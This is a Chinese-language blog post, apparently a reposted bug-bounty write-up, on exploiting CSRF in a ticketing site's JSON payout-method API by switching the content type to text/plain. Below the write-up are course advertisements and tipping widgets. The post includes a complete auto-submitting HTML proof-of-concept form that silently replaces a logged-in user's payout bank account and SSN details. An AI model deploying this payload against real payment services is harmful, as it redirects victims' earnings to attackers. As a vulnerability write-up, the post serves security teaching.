JSON 请求中的 CSRF:现实生活中对支付功能的利用

简介:

在测试一个售票网站时,我发现其支付功能存在一个严重缺陷。用户在售票时提交银行详细信息以接收付款,但我发现此过程容易受到跨站点请求伪造 (CSRF) 的攻击。在本文中,我将向您介绍如何在 JSON 请求中利用 CSRF,展示潜在影响以及如何减轻影响。

详细场景:

在浏览该网站时,我发现了一个支付功能。

此功能要求用户添加他们的银行信息。

提交测试数据后,请求如下所示:

您会注意到该请求是基于 JSON 的,并且包含一个client_id参数,该参数对于每个用户都是唯一的并且很难猜测。

我首先测试了该client_id参数,以了解其在请求中的重要性。首先,我尝试将其更改为随机字符或client_id其他用户的字符。

但这返回了 403 错误,这意味着后端验证是否client_id与会话 cookie 匹配。

client_id然后,我尝试从请求中删除。

令我惊讶的是,请求竟然在没有它的情况下被接受了。

此时,我开始考虑 CSRF。但在深入研究之前,我们需要检查会话 cookie 及其SameSite标志。

最重要的错误是将SameSite属性设置为None

为什么这是一个严重的错误?

  1. 允许跨站点请求→由于即使在跨源请求中也会发送会话 cookie,因此攻击者可以制作一个恶意网页,以经过身份验证的用户的名义提交伪造的请求。
  2. 启用 CSRF 漏洞→ 如果付款请求没有 CSRF 保护(例如需要 CSRF 令牌),攻击者可以诱骗已登录的用户访问自动发送付款请求的恶意网站。由于包含会话 cookie,因此请求会像合法用户发出的一样进行处理。
  3. 无需用户交互→ 由于服务器不需要client_id并且仅依赖会话 cookie,因此漏洞利用变得更加容易 — 无需猜测或窃取凭证。只要让受害者访问恶意链接就足以触发付款请求。

最后一个障碍是请求的内容类型是 JSON,这通常可以防止 CSRF 利用。

但还有另一个错误

查看Accept标题:*/*。这意味着服务器接受所有内容类型,包括text/plain

我将Content-Type标题改为text/plain

是的!它返回时200 OK没有错误。

通过将这些错误串联在一起,我们可以执行成功的 CSRF 攻击而不会失败。

我创建了一个如下的概念验证(PoC):

<html>  <body>    <form action="https://domain.com/api/v2/payout_methods?payout_method_type_id=us_bank_account&payout_method_version=2" method="POST" enctype="text/plain">      <input type="hidden" name="&#123;&quot;funding_type&quot;&#58;&quot;us_bank_account&quot;&quot;entity_type&quot;&#58;&quot;individual&quot;&quot;accepted_stripe_tos&quot;&#58;true, &quot;has_asserted_not_us_taxable&quot;&#58;false, &quot;first_name&quot;&#58;&quot;test&quot;&quot;last_name&quot;&#58;&quot;test&quot;&quot;email&quot;&#58;&quot;test@gmail.com&quot;&quot;date_of_birth&quot;&#58;&quot;2000-01-02&quot;&quot;address1&quot;&#58;&quot;12230 Westheimer Road&quot;&quot;address2&quot;&#58;&quot;" value="&quot;&quot;city&quot;&#58;&quot;test&quot;&quot;state&quot;&#58;&quot;TX&quot;&quot;zip&quot;&#58;&quot;77077&quot;&quot;country&quot;&#58;&quot;US&quot;&quot;ssn&quot;&#58;&quot;123456780&quot;&quot;bank_account_number&quot;&#58;&quot;9834568888&quot;&quot;bank_routing_number&quot;&#58;&quot;021000021&quot;&#125;" />      <input type="submit" value="Submit request" />    </form>    <script>      history.pushState('', '', '/');      document.forms[0].submit();    </script>  </body></html>  

解码版本以便理解

 
<input type="hidden" name="{"funding_type":"us_bank_account", "entity_type":"individual", "accepted_stripe_tos":true, "has_asserted_not_us_taxable":false, "first_name":"test", "last_name":"test", "email":"test@gmail.com", "date_of_birth":"2000-01-02", "address1":"12230 Westheimer Road", "address2":"" value="", "city":"test", "state":"TX", "zip":"77077", "country":"US", "ssn":"123456780", "bank_account_number":"9834568888", "bank_routing_number":"021000021"}" />

这个 POC 生成如下请求

PoC 成功执行,没有任何问题。:)

其它相关课程

图片

图片

图片

图片

图片

rust语言全栈开发视频教程-第一季(2025最新)

图片

图片

图片

详细目录

mac/ios安全视频

图片

QT开发底层原理与安全逆向视频教程

图片

linux文件系统存储与文件过滤安全开发视频教程(2024最新)

图片

linux高级usb安全开发与源码分析视频教程

图片

linux程序设计与安全开发

图片

 

 

  • 图片

  • windows网络安全防火墙与虚拟网卡(更新完成)

  • 图片

  • windows文件过滤(更新完成)

  • 图片

  • USB过滤(更新完成)

  • 图片

  • 游戏安全(更新中)

  • 图片

  • ios逆向

  • 图片

  • windbg

  • 图片

  • 还有很多免费教程(限学员)

  • 图片

    图片

    图片

  • 图片

  • windows恶意软件开发与对抗视频教程

  • 图片

  • 图片

  • 图片

https://github.com/haidragon

https://gitee.com/haidragon

公众号:安全狗的自我修养

bilibili:haidragonx

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

C-haidragon

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值